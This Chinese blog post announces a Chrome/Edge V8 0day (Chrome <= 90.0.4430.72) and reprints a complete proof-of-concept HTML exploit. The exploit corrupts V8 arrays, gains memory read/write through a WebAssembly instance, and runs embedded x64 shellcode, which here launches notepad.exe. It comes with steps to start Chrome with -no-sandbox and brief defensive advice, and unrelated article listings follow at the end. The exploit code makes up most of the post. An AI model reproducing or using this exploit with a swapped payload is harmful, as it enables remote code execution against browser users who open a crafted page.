漏洞描述

Google Chrome是由Google开发的免费网页浏览器。经测试,此0day漏洞影响 Chrome 最新正式版(90.0.4430.72)以及基于Chromium内核的Microsoft Edge正式版(89.0.774.77)以下。攻击者可通过构造特制web页面并诱导受害者访问来利用此漏洞获得远程代码执行。

影响范围

Google Chrome <= 90.0.4430.72

基于Chromium内核的Microsoft Edge <= 89.0.774.77

其他基于V8引擎的浏览器

poc

链接:https://github.com/avboy1337/1195777-chrome0day

html文件如下:

<script>function gc() {for (var i = 0; i < 0x80000; ++i) {var a = new ArrayBuffer();}}let shellcode = [0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48,0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1,0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A,0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B,0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x6E, 0x6F, 0x74, 0x65, 0x70,0x61, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x00];var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);var wasmModule = new WebAssembly.Module(wasmCode);var wasmInstance = new WebAssembly.Instance(wasmModule);var main = wasmInstance.exports.main;var bf = new ArrayBuffer(8);var bfView = new DataView(bf);function fLow(f) {bfView.setFloat64(0, f, true);return (bfView.getUint32(0, true));}function fHi(f) {bfView.setFloat64(0, f, true);return (bfView.getUint32(4, true))}function i2f(low, hi) {bfView.setUint32(0, low, true);bfView.setUint32(4, hi, true);return bfView.getFloat64(0, true);}function f2big(f) {bfView.setFloat64(0, f, true);return bfView.getBigUint64(0, true);}function big2f(b) {bfView.setBigUint64(0, b, true);return bfView.getFloat64(0, true);}class LeakArrayBuffer extends ArrayBuffer {constructor(size) {super(size);this.slot = 0xb33f;}}function foo(a) {let x = -1;if (a) x = 0xFFFFFFFF;var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));arr.shift();let local_arr = Array(2);local_arr[0] = 5.1;//4014666666666666let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8arr[0] = 0x1122;return [arr, local_arr, buff];}for (var i = 0; i < 0x10000; ++i)foo(false);gc(); gc();[corrput_arr, rwarr, corrupt_buff] = foo(true);corrput_arr[12] = 0x22444;delete corrput_arr;function setbackingStore(hi, low) {rwarr[4] = i2f(fLow(rwarr[4]), hi);rwarr[5] = i2f(low, fHi(rwarr[5]));}function leakObjLow(o) {corrupt_buff.slot = o;return (fLow(rwarr[9]) - 1);}let corrupt_view = new DataView(corrupt_buff);let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);let idx0Addr = corrupt_buffer_ptr_low - 0x10;let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;let delta = baseAddr + 0x1c - idx0Addr;if ((delta % 8) == 0) {let baseIdx = delta / 8;this.base = fLow(rwarr[baseIdx]);} else {let baseIdx = ((delta - (delta % 8)) / 8);this.base = fHi(rwarr[baseIdx]);}let wasmInsAddr = leakObjLow(wasmInstance);setbackingStore(wasmInsAddr, this.base);let code_entry = corrupt_view.getFloat64(13 * 8, true);setbackingStore(fLow(code_entry), fHi(code_entry));for (let i = 0; i < shellcode.length; i++) {corrupt_view.setUint8(i, shellcode[i]);}main();
</script>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103

操作步骤

cmd中执行如下命令,然后打开html文件即可

"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" -no-sandbox
  • 1

注:这里是默认安装路径

复现演示

视频请前往公众号查看

修复建议

目前Google暂未修复该漏洞,该漏洞仍为0day状态。建议用户谨慎点击可疑URL,谨慎处理可疑电子邮件及附件。特别是在攻防演练贴近实战的场景,攻击者利用该漏洞很可能攻陷防守方系统。条件允许尽量使用火狐浏览器

网络传言结合其他漏洞可绕过浏览器沙箱限制,利用方法暂未公开,但提醒广大用户依然要注意防范

参考链接:

https://mp.weixin.qq.com/s/gVBsX62O3qaF4JxLsIGI5Q

https://mp.weixin.qq.com/s/G-ffg_TDRkvcwM4tug8ZlA

https://baijiahao.baidu.com/s?id=1696991925498875795&wfr=spider&for=pc

欢迎关注公众号,原创不易,转载请注明来源【爱国小白帽】

Chrome三天内的第二枚0Day相关推荐

  1. CV项目肢体动作识别(三)内附完整代码和详细讲解

    CV项目肢体动作识别(三)内附完整代码和详细讲解 首先我还是给出完整的代码,然后再进行详细的讲解.这一次我们用模块化的思想,把一个功能模块化(moudle),这种思想在工程中非常常见,在分工中你需要做 ...

  2. 第三集 怪物学院 第二十章

    第三集 怪物学院 第二十章 奥斯卡的大香肠和小腊肠(一) "还没完了."赵无极心中暗怒,决定给眼前这个小刺猬一点教训,右手挡在自己脸部前方,左手一掌拍向唐三胸前.当然,他这一掌并 ...

  3. 三百内最好的蓝牙耳机有哪些?音质最好的百元蓝牙耳机推荐

    近年来,真无线蓝牙耳机越来越受到人们的喜爱.随之而来的是蓝牙耳机市场不断扩大,众多耳机厂商纷纷加入蓝牙耳机赛道.这条赛道上有着各种价位.各种性能.各种类型的蓝牙耳机,为用户的选择增加了不少困难.为此, ...

  4. 重庆大学和四川大学计算机考研,西南地区最好的4所大学, 重庆大学第三, 第一无争议, 第二最难考...

    原标题:西南地区最好的4所大学, 重庆大学第三, 第一无争议, 第二最难考 在我国,截至目前共有2千多所大学,各地都有自己的名校,不过较出名的也就是985和211了.今天我们就来分享一下西南地区最好的 ...

  5. springboot 压测 50并发 线程等待_Spring Boot中三款内嵌容器的使用

    做Spring Boot的盆友应该都知道,Spring Boot支持三种内嵌容器,有了这几个容器,我们就不需要打成War包再去部署,而是直接执行java -jar jar包即可启动,真是太方便了. T ...

  6. 闲鱼直播三周内实现点击率翻倍,我们是这么做到的...

    作者:闲鱼技术-莫癫 1. 业务背景 闲鱼直播业务上线后面临的最大问题是增长问题.闲鱼BI同学分析发现,对比短时观看和长时观看人群,发现两部分人群有较明显的兴趣阶段性差异. 业务希望在理解直播.主播和 ...

  7. (王道408考研操作系统)第三章内存管理-第二节3:页面置换算法2

    上接: (王道408考研操作系统)第三章内存管理-第二节2:页面置换算法1 文章目录 一:时钟置换算法(CLOCK) (1)简单时钟置换算法 (2)改进型时钟置换算法 二:页面置换算法总结 一:时钟置 ...

  8. 如何让业务实现三周内实现点击率翻倍?我们是这么做到的...

    1. 业务背景 闲鱼直播业务上线后面临的最大问题是增长问题.闲鱼BI同学分析发现,对比短时观看和长时观看人群,发现两部分人群有较明显的兴趣阶段性差异. 业务希望在理解直播.主播和用户的基础根据兴趣对头 ...

  9. php充值注入,PHPAPP注入第二枚(漏洞打包)

    ### 简要描述: PHPAPP注入第二枚(漏洞打包) ### 详细说明: 在wooyun上看到了有人提了PHPAPP的漏洞: http://wooyun.org/bugs/wooyun-2010-0 ...

最新文章

  1. java 打破双亲委派_JVM - 打破双亲委派机制(模拟热加载)
  2. 对一些架构设计原则的反思
  3. APUE(7)---进程环境
  4. PS滤镜Nik Collection 2 for mac中文版合集
  5. Postgresql ALTER语句常用操作小结
  6. 洋哥做CTO填过的坑!
  7. 如何关闭系统日志服务器,已解决: 一台R410 服务器不定时宕机,系统日志只有“上一次系统是意外关闭” - Dell Community...
  8. flink源码分析_Flink源码分析之深度解读流式数据写入hive
  9. 商业流程中的traversedpath
  10. 色彩构成(Interaction of Colour)
  11. 如何自己搭建测试环境
  12. cad图纸怎么看懂_教你如何快速看懂建筑施工图纸
  13. pm2 status errored
  14. 计算机CPU高端产品,英特尔酷睿处理器哪个型号好?电脑CPU性能排名
  15. Java基础知识点总结(面试版)
  16. switch() 参数支持类型
  17. 视频压缩编码算法与原理
  18. Qt Creator 中使用VLD检测内存泄漏
  19. el-input-number 默认值设置失效
  20. UDS服务基础篇之22

热门文章

  1. (转)静态变量和全局变量的区别
  2. 洛谷 P2701 [USACO5.3]巨大的牛棚Big Barn
  3. RestClient使用
  4. swift版的枚举变量
  5. ASP.NET基础之HttpContext学习
  6. StretchBlt()函数使用
  7. MySQL 表和列的注释的添加以及查看
  8. 大数据之-Hadoop之HDFS的API操作_修改文件的名称---大数据之hadoop工作笔记0060
  9. springcloud工作笔记091---tk.mybatis.mapper.MapperException: 当前实体类不包含名为XXXXX的属性!
  10. SpringCloud工作笔记045---SpringCloud分布式服务部署常用端口